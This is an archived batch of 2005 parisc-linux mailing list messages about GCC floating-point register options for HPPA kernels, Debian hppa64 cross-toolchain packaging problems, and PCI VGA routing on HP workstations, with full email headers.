In-Reply-To: <4282FEEC00010335@mail-3-bnl.tiscali.it> from "Joel Soete" at Jun
	23, 2005 09:19:51 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /dHIYqQ9eSEkRb6WZHQhaXN1IGRvbwBX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22808

> And effectively with -mdisable-fpregs option a function like <do_setitimer>
> (amoung others) used __muldi3 as in:
> [...]
> 1012b630:       e8 4b 01 61     b,l 101016e8 <__muldi3>,rp
> [...]
> 1012b650:       e8 4b 01 21     b,l 101016e8 <__muldi3>,rp
> 1012b654:       08 03 02 5a     copy r3,r26
> [...]

The same issue that I mentioned previously applies to -mdisable-fpregs.
__muldi3 and similar routines in libgcc use fp regs and the xmpyu for
64-bit multiplation.  It takes two 32-bit values and produces a 64-bit
result.  In millicode, we can multiple to 32 bit values and produce a
32-bit result.  This isn't sufficient to implement __muldi3.  GCC needs
a pattern to duplicate xmpyu using millicode.  This could be done by
"long" multiplication.  Break the 32-bit values into two 16-bit chunks
and use the millicode multiply.

HPUX has millicode routines to do larger multiplication but these
routines weren't released.

I'm a bit surprised that 32-bit kernels needs 64-bit multiplication.
Anyway, xmpyu is much more efficient for multiplication than software.
Possibly, I should look at using the -mfixed-range option when building
libgcc as a first step.  Looking at libgcc, I think it needs fr4, fr5
and fr22-fr26.  __mulvdi3 needs the most registers.  The argument
registers are needed for some floating point conversion routines.
I doubt the kernel uses these.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@there.is.no.cabal.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new debian binutils-hppa64, r=2.15-7 pb?
Date: Thu, 23 Jun 2005 09:52:48 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20050623135248.GA19610__7990.90025616369$1416623814$gmane$org@roadwarrior.mcmartin.ca>
References: <20050623121019.GM14502@roadwarrior.mcmartin.ca>
	<200506231313.j5NDDgK1021282@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623814 14980 80.91.229.3 (22 Nov 2014 02:36:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jun 2005 14:02:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx046) with SMTP; 23 Jun 2005 16:02:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7320B7D770;
	Thu, 23 Jun 2005 08:02:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01908-01; Thu, 23 Jun 2005 08:02:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5DC807D768;
	Thu, 23 Jun 2005 08:02:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B2D4C7D765
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 08:02:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01844-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 08:02:15 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 2FD347D763
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 08:02:15 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 48E8E17050;
	Thu, 23 Jun 2005 10:02:14 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03148-06; Thu, 23 Jun 2005 10:02:00 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 17C7B17081; Thu, 23 Jun 2005 10:02:00 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x1987764790-52656d6f746546617454697265-494e424f582e4f7574626f78: 1119535301-000224311156705-v4.0.8
Content-Disposition: inline
In-Reply-To: <200506231313.j5NDDgK1021282@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oKXIYrN5eSEkXL6WZHQhaXN1IGRvbwCu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22809

On Thu, Jun 23, 2005 at 09:13:42AM -0400, John David Anglin wrote:
> I was hoping that these packages should be installable even if
> there aren't the default.
> 
> There seems to be a 3.5 package that probably should be removed.

Odd... If you have them both (3.4 and 4.0) installed, you should be able 
to run "update-alternatives --config hppa64-linux-gcc" to choose which
you'd like to be the default. I'm not sure off hand why 3.3 doesn't
show up this way, but I suspect it may have not used the alternatives
system.

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Thu, 23 Jun 2005 09:19:51 +0200
Lines: 99
Approved: news@gmane.org
Message-ID: <4282FEEC00010335@mail-3-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623814 14987 80.91.229.3 (22 Nov 2014 02:36:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jun 2005 07:20:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 23 Jun 2005 09:20:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F6BE7D750;
	Thu, 23 Jun 2005 01:20:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30351-08; Thu, 23 Jun 2005 01:20:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 14FAC7D752;
	Thu, 23 Jun 2005 01:20:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CCD877D74B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 01:20:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30351-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 01:20:07 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id DFA0C7D74A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 01:20:06 -0600 (MDT)
Original-Received: from 10.39.115.133 by mrq-1 with esmtp (Exim)
	id 1DlM09-0000ZL-FT; Thu, 23 Jun 2005 09:19:56 +0200
Original-Received: from [57.67.177.33] by mail-3-bnl.tiscali.it with HTTP;
	Thu, 23 Jun 2005 09:19:51 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5QfIYg9XeSEkVr6WZHQhaXN1IGRvbwAp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22810

...
>
> /* Parse the -mfixed-range=3D option string.  */
>
> static void
> fix_range (const char *const_str)
> {
>   int i, first, last;
>   char *str, *dash, *comma;
>
>   /* str must be of the form REG1'-'REG2{,REG1'-'REG} where REG1 and
>   REG2 are either register names or register numbers.  The effect
>   of this option is to mark the registers in the range from REG1 to
>   REG2 as ``fixed'' so they won't be used by the compiler.  This is
>   used, e.g., to ensure that kernel mode code doesn't use f32-f127.  */=

>
That confirms well the gcc info description:
`-mfixed-range=3DREGISTER-RANGE'
      Generate code treating the given register range as fixed registers.=

      A fixed register is one that the register allocator can not use.
      This is useful when compiling kernel code. A register range is
      specified as two registers separated by a dash. Multiple register
      ranges can be specified separated by a comma.
 ;-)

> You are probably best to use register names.
I would prefer too.

> There are 28 fp registers
> starting at fr4.  The number for fr4 is 32.  I see there is a typo
> in the comment regarding the range, "f32-f127".  This is a cut and
> paste error.
>
Nice add on (tx),

> The millicode routines don't use the fp regs.  However, libgcc does
> and the kernel is linked against libgcc.  Thus, for this to work, you
> will need to build both a kernel build version of gcc and the kernel
> with the -mfixed-range option.  You probably want to leave about four
> fp registers unfixed for integer multiplcation.  This is essential on
> hppa64 as we don't have millicode support for 64-bit integer
> multiplication.  This support is provided by libgcc routines.
>
my main interest is still 32bit kernel  for the moment(the most of my sys=
tems
 b180,  c110, d380 ;-)):
2.6.8 ans 2.6.9-rc2-pa1 works fine when compiled with -mdisable-fpregs op=
tion
but panicing quickly whitout?

And effectively with -mdisable-fpregs option a function like <do_setitime=
r>
(amoung others) used __muldi3 as in:
[...]
1012b630:       e8 4b 01 61     b,l 101016e8 <__muldi3>,rp
[...]
1012b650:       e8 4b 01 21     b,l 101016e8 <__muldi3>,rp
1012b654:       08 03 02 5a     copy r3,r26
[...]

while without it obviously compile something like:
[...]
1012ba00:       27 88 10 16     fldw 4(,ret0),fr22
1012ba04:       30 00 40 16     fcpy,sgl fr0,fr22
1012ba08:       37 b6 1c 29     ldo -11ec(ret1),r22
1012ba0c:       22 bc 8d 1a     ldil 68db8000,r21
1012ba10:       27 c1 12 16     fstw fr22,-10(,sp)
1012ba14:       36 b8 17 5a     ldo bad(r21),r24
1012ba18:       34 01 1f fe     ldi fff,r1
1012ba1c:       34 02 3f ff     ldi -1,rp
1012ba20:       22 a6 22 06     ldil 1030d000,r21
1012ba24:       0f c1 10 93     ldw -10(,sp),r19
1012ba28:       36 b5 09 a0     ldo 4d0(r21),r21
1012ba2c:       2e a0 10 17     fldd 0(,r21),fr23
1012ba30:       d2 77 1c 1f     extrw,s r19,0,1,r23
1012ba34:       3a d7 57 17     xmpyu fr22,fr23R,fr23
1012ba38:       0b 17 02 17     and r23,r24,r23
1012ba3c:       2f c1 12 17     fstd fr23,-10(,sp)
[...]

But that doesn't make me yet understand what it could make as side effect=

versus
the 64bit twin kernel??

I still have to learn more ;-)

Thanks a lot,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new debian binutils-hppa64, r=2.15-7 pb?
Date: Thu, 23 Jun 2005 11:18:26 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <4282FEEC00010445__3718.20649966157$1416623814$gmane$org@mail-3-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623814 14992 80.91.229.3 (22 Nov 2014 02:36:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:54 +0000 (UTC)
Cc: Kyle McMartin <kyle@there.is.no.cabal.ca>,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: "Matthias Klose" <doko@cs.tu-berlin.de>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jun 2005 09:18:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx031) with SMTP; 23 Jun 2005 11:18:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 57C247D66B;
	Thu, 23 Jun 2005 03:18:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31093-01; Thu, 23 Jun 2005 03:18:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 10D207D684;
	Thu, 23 Jun 2005 03:18:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 99F587D669
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 03:18:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30704-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 03:18:36 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id EB5ED7D41A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 03:18:35 -0600 (MDT)
Original-Received: from 10.39.115.133 by mrq-2 with esmtp (Exim)
	id 1DlNqu-0004JM-HV; Thu, 23 Jun 2005 11:18:32 +0200
Original-Received: from [57.67.177.33] by mail-3-bnl.tiscali.it with HTTP;
	Thu, 23 Jun 2005 11:18:26 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LRvIYiEbeSEkbb6WZHQhaXN1IGRvb4C+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22811

Hello Matthias,

[...]
>
> that should be fixed after the next gcc-defaults upload.
>
just update:
[...]
Setting up gcc-3.3-hppa64 (3.3.6-7) ...
[...]

and just noticed a small pb while re-compiling the kernel:
make is still looking for hppa64-linux-gcc

/usr/src/linux-2.6.12-pa1-050620/scripts/gcc-version.sh: line 11: hppa64-=
linux-gcc:
command not found

this coming from:
# cd /usr/bin; ls -l hppa64*
lrwxr-xr-x  1 root root     34 Dec 22  2004 hppa64-linux-gcc -> /etc/alte=
rnatives/hppa64-linux-gcc
[...]

unfortunately this alternative is not updated and still point to:
/etc/alternatives/hppa64-linux-gcc -> /usr/bin/hppa64-linux-gcc-3.3

in place of the new hppa64-linux-gnu-gcc-3.3.

Oops: still a small pb:
[...]
make -f /usr/src/linux-2.6.12-pa1-050620/scripts/Makefile.build obj=3Dfs/=
autofs4
   rm -f fs/autofs4/built-in.o; hppa64-linux-ar rcs fs/autofs4/built-in.o=

/bin/sh: hppa64-linux-ar: command not found
make[3]: *** [fs/autofs4/built-in.o] Error 127

Thanks for your attention,
    Joel






_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Trident video card caused Kernel Panic on HP
	Visualize 785/B2000 with rebuilt 2.6.11-rc6-pa1 kernel
Date: Thu, 23 Jun 2005 14:59:25 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20050623185925.GB28881@roadwarrior.mcmartin.ca>
References: <5.1.1.6.1.20050615221250.02a429c0@pop.singnet.com.sg>
	<20050615190616.GA29652@colo.lackof.org>
	<200506201445.19818.bjorn.helgaas@hp.com>
	<20050621020605.GB12189@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623815 14995 80.91.229.3 (22 Nov 2014 02:36:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Bjorn Helgaas <bjorn.helgaas@hp.com>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jun 2005 19:00:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 23 Jun 2005 21:00:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E7F237D75E;
	Thu, 23 Jun 2005 13:00:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02218-10; Thu, 23 Jun 2005 13:00:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B7EE7D760;
	Thu, 23 Jun 2005 13:00:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F24F57D75D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 13:00:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02927-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 13:00:33 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 6DC6E7D758
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 13:00:33 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 77D5917050;
	Thu, 23 Jun 2005 15:00:32 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05339-08; Thu, 23 Jun 2005 15:00:21 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 850CA1707B; Thu, 23 Jun 2005 15:00:21 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x974999546-52656d6f746546617454697265-494e424f582e4f7574626f78: 1119553201-091880201837-v4.0.8
Content-Disposition: inline
In-Reply-To: <20050621020605.GB12189@colo.lackof.org>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jWPJYoh1eSEkYr6WZHQhaXN1IGRvb4AM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22812

On Mon, Jun 20, 2005 at 08:06:05PM -0600, Grant Grundler wrote:
> ie a "directed range" could be programmed to redirect accesses from
> MMIO space to a particular Elroy. Requires programming a directed
> range in Astro and a matched "Extra LMMIO" range in Elroy.
> I've never messed with this and always depended on firmware
> to deal with range registers.
>

I've been looking at the Astro and Elroy ERS trying to understand
this. Does this mean that even if the "VGA Enable" logic is broken,
we could still force VGA accesses to be routed to a specific PCI 
device, or are we out of luck?

If it's feasible, I'm willing to take some time to look into this.

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Trident video card caused Kernel Panic on HP
	Visualize 785/B2000 with rebuilt 2.6.11-rc6-pa1 kernel
Date: Thu, 23 Jun 2005 13:09:14 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <20050623190914.GA28240@colo.lackof.org>
References: <5.1.1.6.1.20050615221250.02a429c0@pop.singnet.com.sg>
	<20050615190616.GA29652@colo.lackof.org>
	<200506201445.19818.bjorn.helgaas@hp.com>
	<20050621020605.GB12189@colo.lackof.org>
	<20050623185925.GB28881@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623815 15004 80.91.229.3 (22 Nov 2014 02:36:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
